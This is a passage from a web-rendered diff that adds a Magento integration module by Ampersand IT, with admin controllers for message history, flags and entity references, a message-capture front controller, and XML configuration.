if (!$content = $request->getPost()) {
|
57 |
+
$content = $request->getRawBody();
|
58 |
+
}
|
59 |
+
break;
|
60 |
+
default:
|
61 |
+
$content = null;
|
62 |
+
break;
|
63 |
+
}
|
64 |
+
|
65 |
+
return $content;
|
66 |
+
}
|
67 |
+
|
68 |
+
protected function _respond(Ampersand_Integration_Message_Data_Response $response)
|
69 |
+
{
|
70 |
+
$this->_getResponse()->setBody($response->getContent());
|
71 |
+
|
72 |
+
$this->_lastResponseHeaders = $this->_getResponse()->getHeaders();
|
73 |
+
$this->_lastResponseBody = $this->_getResponse()->getBody();
|
74 |
+
|
75 |
+
return $this;
|
76 |
+
}
|
77 |
+
|
78 |
+
public function getDebugData()
|
79 |
+
{
|
80 |
+
return array(
|
81 |
+
'type' => 'mage_http',
|
82 |
+
'uri' => $this->_getRequest()->getRequestUri(),
|
83 |
+
'request' => array(
|
84 |
+
'headers' => $this->_getHeaders(),
|
85 |
+
'body' => $this->_getRequest()->getRawBody(),
|
86 |
+
),
|
87 |
+
'response' => array(
|
88 |
+
'headers' => $this->_lastResponseHeaders,
|
89 |
+
'body' => $this->_lastResponseBody,
|
90 |
+
),
|
91 |
+
);
|
92 |
+
}
|
93 |
+
}
|
app/code/core/Ampersand/Integration/changelog.txt
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
1 |
+
11/01/2013 - v1.2.9 - Various minor updates.
|
2 |
+
|
3 |
+
17/10/2011 - v1.2.0 - Initial release.
|
app/code/core/Ampersand/Integration/controllers/Adminhtml/FlagController.php
ADDED
@@ -0,0 +1,168 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Controller
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Controller
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Adminhtml_FlagController
|
19 |
+
extends Ampersand_Integration_Controller_Adminhtml_Abstract
|
20 |
+
{
|
21 |
+
public function indexAction()
|
22 |
+
{
|
23 |
+
if (!$this->_isGridAllowed()) {
|
24 |
+
$this->_forward('denied');
|
25 |
+
return;
|
26 |
+
}
|
27 |
+
|
28 |
+
$this->_initTitle();
|
29 |
+
|
30 |
+
if ($this->getRequest()->getQuery('ajax')) {
|
31 |
+
$this->_forward('grid');
|
32 |
+
return;
|
33 |
+
}
|
34 |
+
|
35 |
+
$this->loadLayout();
|
36 |
+
|
37 |
+
$this->_setActiveMenu('ampersand_integration');
|
38 |
+
|
39 |
+
$this->renderLayout();
|
40 |
+
}
|
41 |
+
|
42 |
+
public function viewAction()
|
43 |
+
{
|
44 |
+
if (!$flag = $this->_initFlag()) {
|
45 |
+
$this->_getSession()->addError($this->__('The specified flag was not found.'));
|
46 |
+
$this->_redirect('*/*/index');
|
47 |
+
return;
|
48 |
+
}
|
49 |
+
$this->_initMessage($flag);
|
50 |
+
$this->_initIdentifier($flag);
|
51 |
+
|
52 |
+
if (!$this->_isFlagDetailAllowed($flag)) {
|
53 |
+
$this->_forward('denied');
|
54 |
+
return;
|
55 |
+
}
|
56 |
+
|
57 |
+
$this->_initTitle()
|
58 |
+
->_title('Flag #' . $flag->getId())
|
59 |
+
;
|
60 |
+
|
61 |
+
$this->loadLayout();
|
62 |
+
|
63 |
+
$this->_setActiveMenu('ampersand_integration');
|
64 |
+
|
65 |
+
$this->renderLayout();
|
66 |
+
}
|
67 |
+
|
68 |
+
public function gridAction()
|
69 |
+
{
|
70 |
+
if (!$this->_isGridAllowed()) {
|
71 |
+
$this->_forward('denied');
|
72 |
+
return;
|
73 |
+
}
|
74 |
+
|
75 |
+
$this->loadLayout();
|
76 |
+
|
77 |
+
$this->getResponse()->setBody(
|
78 |
+
$this->getLayout()->createBlock('ampersand_integration_admin/flag_grid')->toHtml()
|
79 |
+
);
|
80 |
+
}
|
81 |
+
|
82 |
+
public function __call($methodName, $arguments)
|
83 |
+
{
|
84 |
+
if ('Action' !== substr($methodName, -6)) {
|
85 |
+
throw new Exception("No such method '$methodName'");
|
86 |
+
}
|
87 |
+
|
88 |
+
Mage::helper('ampersand_integration/adminhtml')
|
89 |
+
->setCurrentServiceCode(substr($methodName, 0, -6));
|
90 |
+
|
91 |
+
$this->_forward('index');
|
92 |
+
}
|
93 |
+
|
94 |
+
protected function _initTitle()
|
95 |
+
{
|
96 |
+
$this->_title($this->__('Integration'))
|
97 |
+
->_title($this->__('Flags'));
|
98 |
+
|
99 |
+
return $this;
|
100 |
+
}
|
101 |
+
|
102 |
+
protected function _isFlagDetailAllowed()
|
103 |
+
{
|
104 |
+
$service = Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
105 |
+
|
106 |
+
return Mage::getSingleton('ampersand_integration/adminSession')
|
107 |
+
->isFlagDetailAllowed($service);
|
108 |
+
}
|
109 |
+
|
110 |
+
protected function _isGridAllowed()
|
111 |
+
{
|
112 |
+
$service = Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
113 |
+
|
114 |
+
return Mage::getSingleton('ampersand_integration/adminSession')
|
115 |
+
->isFlagGridAllowed($service);
|
116 |
+
}
|
117 |
+
|
118 |
+
protected function _initFlag()
|
119 |
+
{
|
120 |
+
if (!$id = $this->getRequest()->getParam('id')) {
|
121 |
+
return null;
|
122 |
+
}
|
123 |
+
|
124 |
+
$flag = Mage::getModel('ampersand_integration/flag')->load($id);
|
125 |
+
|
126 |
+
if (!$flag->getId()) {
|
127 |
+
return null;
|
128 |
+
}
|
129 |
+
|
130 |
+
Mage::register('flag', $flag);
|
131 |
+
|
132 |
+
return $flag;
|
133 |
+
}
|
134 |
+
|
135 |
+
protected function _initMessage($flag)
|
136 |
+
{
|
137 |
+
if (!$id = $flag->getMessageId()) {
|
138 |
+
return null;
|
139 |
+
}
|
140 |
+
|
141 |
+
$message = Mage::getModel('ampersand_integration/message')->load($id);
|
142 |
+
|
143 |
+
if (!$message->getId()) {
|
144 |
+
return null;
|
145 |
+
}
|
146 |
+
|
147 |
+
Mage::register('message', $message);
|
148 |
+
|
149 |
+
return $message;
|
150 |
+
}
|
151 |
+
|
152 |
+
protected function _initIdentifier($flag)
|
153 |
+
{
|
154 |
+
if (!$id = $flag->getIdentifierId()) {
|
155 |
+
return null;
|
156 |
+
}
|
157 |
+
|
158 |
+
$identifier = Mage::getModel('ampersand_integration/message_identifier')->load($id);
|
159 |
+
|
160 |
+
if (!$identifier->getId()) {
|
161 |
+
return null;
|
162 |
+
}
|
163 |
+
|
164 |
+
Mage::register('message_identifier', $identifier);
|
165 |
+
|
166 |
+
return $identifier;
|
167 |
+
}
|
168 |
+
}
|
app/code/core/Ampersand/Integration/controllers/Adminhtml/Message/ViewController.php
ADDED
@@ -0,0 +1,81 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Controller
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Controller
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Adminhtml_Message_ViewController
|
19 |
+
extends Ampersand_Integration_Controller_Adminhtml_Message
|
20 |
+
{
|
21 |
+
public function relatedObjectsGridAction()
|
22 |
+
{
|
23 |
+
if (!$message = $this->_initMessage()) {
|
24 |
+
return;
|
25 |
+
}
|
26 |
+
|
27 |
+
if (!$this->_isMessageDetailAllowed($message)) {
|
28 |
+
$this->_forward('denied');
|
29 |
+
return;
|
30 |
+
}
|
31 |
+
|
32 |
+
$this->loadLayout();
|
33 |
+
|
34 |
+
$this->getResponse()->setBody(
|
35 |
+
$this->getLayout()->createBlock(
|
36 |
+
'ampersand_integration_admin/message_view_relatedObjects_grid'
|
37 |
+
)->toHtml()
|
38 |
+
);
|
39 |
+
}
|
40 |
+
|
41 |
+
public function flagsGridAction()
|
42 |
+
{
|
43 |
+
if (!$message = $this->_initMessage()) {
|
44 |
+
return;
|
45 |
+
}
|
46 |
+
|
47 |
+
if (!$this->_isMessageDetailAllowed($message)) {
|
48 |
+
$this->_forward('denied');
|
49 |
+
return;
|
50 |
+
}
|
51 |
+
|
52 |
+
$this->loadLayout();
|
53 |
+
|
54 |
+
$this->getResponse()->setBody(
|
55 |
+
$this->getLayout()->createBlock(
|
56 |
+
'ampersand_integration_admin/message_view_flags_grid'
|
57 |
+
)->toHtml()
|
58 |
+
);
|
59 |
+
}
|
60 |
+
|
61 |
+
public function downloadLogFileAction()
|
62 |
+
{
|
63 |
+
if (!$message = $this->_initMessage()) {
|
64 |
+
return;
|
65 |
+
}
|
66 |
+
|
67 |
+
if (!$this->_isMessageLogContentAllowed($message)) {
|
68 |
+
$this->_forward('denied');
|
69 |
+
return;
|
70 |
+
}
|
71 |
+
|
72 |
+
if (false === ($logFilePath = $message->getFullLogFilePath())
|
73 |
+
|| (!$content = @file_get_contents($logFilePath))) {
|
74 |
+
return;
|
75 |
+
}
|
76 |
+
|
77 |
+
$filename = str_replace(DS, '_', $message->getLogFilePath());
|
78 |
+
|
79 |
+
$this->_prepareDownloadResponse($filename, $content);
|
80 |
+
}
|
81 |
+
}
|
app/code/core/Ampersand/Integration/controllers/Adminhtml/MessageController.php
ADDED
@@ -0,0 +1,91 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Controller
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Controller
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Adminhtml_MessageController
|
19 |
+
extends Ampersand_Integration_Controller_Adminhtml_Message
|
20 |
+
{
|
21 |
+
public function indexAction()
|
22 |
+
{
|
23 |
+
if (!$this->_isGridAllowed()) {
|
24 |
+
$this->_forward('denied');
|
25 |
+
return;
|
26 |
+
}
|
27 |
+
|
28 |
+
$this->_initTitle();
|
29 |
+
|
30 |
+
if ($this->getRequest()->getQuery('ajax')) {
|
31 |
+
$this->_forward('grid');
|
32 |
+
return;
|
33 |
+
}
|
34 |
+
|
35 |
+
$this->loadLayout();
|
36 |
+
|
37 |
+
$this->_setActiveMenu('ampersand_integration');
|
38 |
+
|
39 |
+
$this->renderLayout();
|
40 |
+
}
|
41 |
+
|
42 |
+
public function viewAction()
|
43 |
+
{
|
44 |
+
if (!$message = $this->_initMessage()) {
|
45 |
+
$this->_getSession()->addError($this->__('The specified message was not found.'));
|
46 |
+
$this->_redirect('*/*/index');
|
47 |
+
return;
|
48 |
+
}
|
49 |
+
|
50 |
+
if (!$this->_isMessageDetailAllowed($message)) {
|
51 |
+
$this->_forward('denied');
|
52 |
+
return;
|
53 |
+
}
|
54 |
+
|
55 |
+
$this->_initTitle()
|
56 |
+
->_title('Message #' . $message->getId())
|
57 |
+
;
|
58 |
+
|
59 |
+
$this->loadLayout();
|
60 |
+
|
61 |
+
$this->_setActiveMenu('ampersand_integration');
|
62 |
+
|
63 |
+
$this->renderLayout();
|
64 |
+
}
|
65 |
+
|
66 |
+
public function gridAction()
|
67 |
+
{
|
68 |
+
if (!$this->_isGridAllowed()) {
|
69 |
+
$this->_forward('denied');
|
70 |
+
return;
|
71 |
+
}
|
72 |
+
|
73 |
+
$this->loadLayout();
|
74 |
+
|
75 |
+
$this->getResponse()->setBody(
|
76 |
+
$this->getLayout()->createBlock('ampersand_integration_admin/message_grid')->toHtml()
|
77 |
+
);
|
78 |
+
}
|
79 |
+
|
80 |
+
public function __call($methodName, $arguments)
|
81 |
+
{
|
82 |
+
if ('Action' !== substr($methodName, -6)) {
|
83 |
+
throw new Exception("No such method '$methodName'");
|
84 |
+
}
|
85 |
+
|
86 |
+
Mage::helper('ampersand_integration/adminhtml')
|
87 |
+
->setCurrentServiceCode(substr($methodName, 0, -6));
|
88 |
+
|
89 |
+
$this->_forward('index');
|
90 |
+
}
|
91 |
+
}
|
app/code/core/Ampersand/Integration/controllers/Adminhtml/MessageIdentifierController.php
ADDED
@@ -0,0 +1,116 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Controller
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Controller
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Adminhtml_MessageIdentifierController
|
19 |
+
extends Ampersand_Integration_Controller_Adminhtml_Abstract
|
20 |
+
{
|
21 |
+
public function indexAction()
|
22 |
+
{
|
23 |
+
if (!$this->_isGridAllowed()) {
|
24 |
+
$this->_forward('denied');
|
25 |
+
return;
|
26 |
+
}
|
27 |
+
|
28 |
+
$this->_initTitle();
|
29 |
+
|
30 |
+
if ($this->getRequest()->getQuery('ajax')) {
|
31 |
+
$this->_forward('grid');
|
32 |
+
return;
|
33 |
+
}
|
34 |
+
|
35 |
+
$this->loadLayout();
|
36 |
+
|
37 |
+
$this->_setActiveMenu('ampersand_integration');
|
38 |
+
|
39 |
+
$this->renderLayout();
|
40 |
+
}
|
41 |
+
|
42 |
+
public function gridAction()
|
43 |
+
{
|
44 |
+
if (!$this->_isGridAllowed()) {
|
45 |
+
$this->_forward('denied');
|
46 |
+
return;
|
47 |
+
}
|
48 |
+
|
49 |
+
$this->loadLayout();
|
50 |
+
|
51 |
+
$this->getResponse()->setBody(
|
52 |
+
$this->getLayout()->createBlock('ampersand_integration_admin/messageIdentifier_grid')
|
53 |
+
->toHtml()
|
54 |
+
);
|
55 |
+
}
|
56 |
+
|
57 |
+
public function redirectAction()
|
58 |
+
{
|
59 |
+
if (!$identifier = $this->_getIdentifier()) {
|
60 |
+
$this->_getSession()->addError($this->__(
|
61 |
+
'The specified entity reference was not found.'
|
62 |
+
));
|
63 |
+
$this->_redirect('*/*/index');
|
64 |
+
return;
|
65 |
+
}
|
66 |
+
|
67 |
+
if ($entityUrl = $identifier->getEntityUrl()) {
|
68 |
+
$this->_redirectUrl($entityUrl);
|
69 |
+
} else {
|
70 |
+
$this->_forward('noRoute');
|
71 |
+
}
|
72 |
+
}
|
73 |
+
|
74 |
+
public function __call($methodName, $arguments)
|
75 |
+
{
|
76 |
+
if ('Action' !== substr($methodName, -6)) {
|
77 |
+
throw new Exception("No such method '$methodName'");
|
78 |
+
}
|
79 |
+
|
80 |
+
Mage::helper('ampersand_integration/adminhtml')
|
81 |
+
->setCurrentServiceCode(substr($methodName, 0, -6));
|
82 |
+
|
83 |
+
$this->_forward('index');
|
84 |
+
}
|
85 |
+
|
86 |
+
protected function _initTitle()
|
87 |
+
{
|
88 |
+
$this->_title($this->__('Integration'))
|
89 |
+
->_title($this->__('Message References'));
|
90 |
+
|
91 |
+
return $this;
|
92 |
+
}
|
93 |
+
|
94 |
+
protected function _isGridAllowed()
|
95 |
+
{
|
96 |
+
$service = Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
97 |
+
|
98 |
+
return Mage::getSingleton('ampersand_integration/adminSession')
|
99 |
+
->isMessageIdentifierGridAllowed($service);
|
100 |
+
}
|
101 |
+
|
102 |
+
protected function _getIdentifier()
|
103 |
+
{
|
104 |
+
if (!$id = $this->getRequest()->getParam('id')) {
|
105 |
+
return null;
|
106 |
+
}
|
107 |
+
|
108 |
+
$identifier = Mage::getModel('ampersand_integration/message_identifier')->load($id);
|
109 |
+
|
110 |
+
if (!$identifier->getId()) {
|
111 |
+
return null;
|
112 |
+
}
|
113 |
+
|
114 |
+
return $identifier;
|
115 |
+
}
|
116 |
+
}
|
app/code/core/Ampersand/Integration/controllers/MessageController.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Controller
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Controller
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_MessageController extends Mage_Core_Controller_Front_Action
|
19 |
+
{
|
20 |
+
public function captureAction()
|
21 |
+
{
|
22 |
+
$service = $this->_getService();
|
23 |
+
$messageName = $this->_getMessageName();
|
24 |
+
|
25 |
+
if (!$service || !$messageName) {
|
26 |
+
$this->_forward('noRoute');
|
27 |
+
return;
|
28 |
+
}
|
29 |
+
|
30 |
+
$service->captureMessage($messageName);
|
31 |
+
|
32 |
+
$redirectUrl = Mage::helper('ampersand_integration/message')->getControllerRedirectUrl();
|
33 |
+
if (!empty($redirectUrl)) {
|
34 |
+
$this->_redirectUrl($redirectUrl);
|
35 |
+
}
|
36 |
+
}
|
37 |
+
|
38 |
+
protected function _getService()
|
39 |
+
{
|
40 |
+
if (!$serviceName = $this->getRequest()->getParam('service')) {
|
41 |
+
return false;
|
42 |
+
}
|
43 |
+
|
44 |
+
return Mage::helper('ampersand_integration')->getService($serviceName);
|
45 |
+
}
|
46 |
+
|
47 |
+
protected function _getMessageName()
|
48 |
+
{
|
49 |
+
return $this->getRequest()->getParam('message');
|
50 |
+
}
|
51 |
+
}
|
app/code/core/Ampersand/Integration/etc/adminhtml.xml
ADDED
@@ -0,0 +1,66 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0" encoding="UTF-8"?>
|
2 |
+
<config>
|
3 |
+
<menu>
|
4 |
+
<ampersand_integration translate="title" module="ampersand_integration">
|
5 |
+
<title>Integration</title>
|
6 |
+
<!-- <action>ampersand_integration_admin</action> -->
|
7 |
+
<sort_order>87</sort_order>
|
8 |
+
<children>
|
9 |
+
<!-- <dashboard translate="title">
|
10 |
+
<title>Dashboard</title>
|
11 |
+
<action>ampersand_integration_admin</action>
|
12 |
+
<sort_order>10</sort_order>
|
13 |
+
<resource>ampersand_integration/dashboard</resource>
|
14 |
+
</dashboard> -->
|
15 |
+
<message translate="title">
|
16 |
+
<title>Message History</title>
|
17 |
+
<action>ampersand_integration_admin/message</action>
|
18 |
+
<sort_order>20</sort_order>
|
19 |
+
<resource>ampersand_integration/message_history</resource>
|
20 |
+
</message>
|
21 |
+
<messageIdentifier translate="title">
|
22 |
+
<title>Entity References</title>
|
23 |
+
<action>ampersand_integration_admin/messageIdentifier</action>
|
24 |
+
<sort_order>25</sort_order>
|
25 |
+
<resource>ampersand_integration/messageidentifier</resource>
|
26 |
+
</messageIdentifier>
|
27 |
+
<flag translate="title">
|
28 |
+
<title>Flags</title>
|
29 |
+
<action>ampersand_integration_admin/flag</action>
|
30 |
+
<sort_order>30</sort_order>
|
31 |
+
<resource>ampersand_integration/flag</resource>
|
32 |
+
</flag>
|
33 |
+
</children>
|
34 |
+
</ampersand_integration>
|
35 |
+
</menu>
|
36 |
+
<acl>
|
37 |
+
<resources>
|
38 |
+
<admin>
|
39 |
+
<children>
|
40 |
+
<ampersand_integration translate="title" module="ampersand_integration">
|
41 |
+
<title>Integration</title>
|
42 |
+
<sort_order>-1000</sort_order>
|
43 |
+
<children>
|
44 |
+
<dashboard translate="title">
|
45 |
+
<title>Dashboard</title>
|
46 |
+
<sort_order>10</sort_order>
|
47 |
+
</dashboard>
|
48 |
+
<message_history translate="title">
|
49 |
+
<title>Message History</title>
|
50 |
+
<sort_order>20</sort_order>
|
51 |
+
</message_history>
|
52 |
+
<messageidentifier translate="title">
|
53 |
+
<title>Entity References</title>
|
54 |
+
<sort_order>25</sort_order>
|
55 |
+
</messageidentifier>
|
56 |
+
<flag translate="title">
|
57 |
+
<title>Flags</title>
|
58 |
+
<sort_order>30</sort_order>
|
59 |
+
</flag>
|
60 |
+
</children>
|
61 |
+
</ampersand_integration>
|
62 |
+
</children>
|
63 |
+
</admin>
|
64 |
+
</resources>
|
65 |
+
</acl>
|
66 |
+
</config>
|
app/code/core/Ampersand/Integration/etc/config.xml
ADDED
@@ -0,0 +1,96 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0" encoding="UTF-8"?>
|
2 |
+
<config>
|
3 |
+
<modules>
|
4 |
+
<Ampersand_Integration>
|
5 |
+
<version>1.2.9</version>
|
6 |
+
</Ampersand_Integration>
|
7 |
+
</modules>
|
8 |
+
<global>
|
9 |
+
<models>
|
10 |
+
<ampersand_integration>
|
11 |
+
<class>Ampersand_Integration_Model</class>
|
12 |
+
<resourceModel>ampersand_integration_mysql4</resourceModel>
|
13 |
+
</ampersand_integration>
|
14 |
+
<ampersand_integration_mysql4>
|
15 |
+
<class>Ampersand_Integration_Model_Mysql4</class>
|
16 |
+
<entities>
|
17 |
+
<service>
|
18 |
+
<table>ampersand_integration_service</table>
|
19 |
+
</service>
|
20 |
+
<service_info>
|
21 |
+
<table>ampersand_integration_service</table>
|
22 |
+
</service_info>
|
23 |
+
<message>
|
24 |
+
<table>ampersand_integration_message</table>
|
25 |
+
</message>
|
26 |
+
<message_identifier>
|
27 |
+
<table>ampersand_integration_message_identifier</table>
|
28 |
+
</message_identifier>
|
29 |
+
<stockUpdate>
|
30 |
+
<table>ampersand_integration_stockupdate</table>
|
31 |
+
</stockUpdate>
|
32 |
+
<status>
|
33 |
+
<table>ampersand_integration_status</table>
|
34 |
+
</status>
|
35 |
+
<flag>
|
36 |
+
<table>ampersand_integration_flag</table>
|
37 |
+
</flag>
|
38 |
+
</entities>
|
39 |
+
</ampersand_integration_mysql4>
|
40 |
+
</models>
|
41 |
+
<helpers>
|
42 |
+
<ampersand_integration>
|
43 |
+
<class>Ampersand_Integration_Helper</class>
|
44 |
+
</ampersand_integration>
|
45 |
+
</helpers>
|
46 |
+
<blocks>
|
47 |
+
<ampersand_integration_admin>
|
48 |
+
<class>Ampersand_Integration_Block_Adminhtml</class>
|
49 |
+
</ampersand_integration_admin>
|
50 |
+
</blocks>
|
51 |
+
<resources>
|
52 |
+
<ampersand_integration_setup>
|
53 |
+
<setup>
|
54 |
+
<module>Ampersand_Integration</module>
|
55 |
+
</setup>
|
56 |
+
</ampersand_integration_setup>
|
57 |
+
</resources>
|
58 |
+
<rewrite>
|
59 |
+
<ampersand_integration>
|
60 |
+
<from>#/?integration/([^/]+)/(.+)#</from>
|
61 |
+
<to>/integration/message/capture/service/$1/message/$2</to>
|
62 |
+
</ampersand_integration>
|
63 |
+
</rewrite>
|
64 |
+
</global>
|
65 |
+
<frontend>
|
66 |
+
<routers>
|
67 |
+
<ampersand_integration>
|
68 |
+
<use>standard</use>
|
69 |
+
<args>
|
70 |
+
<module>Ampersand_Integration</module>
|
71 |
+
<frontName>integration</frontName>
|
72 |
+
</args>
|
73 |
+
</ampersand_integration>
|
74 |
+
</routers>
|
75 |
+
</frontend>
|
76 |
+
<admin>
|
77 |
+
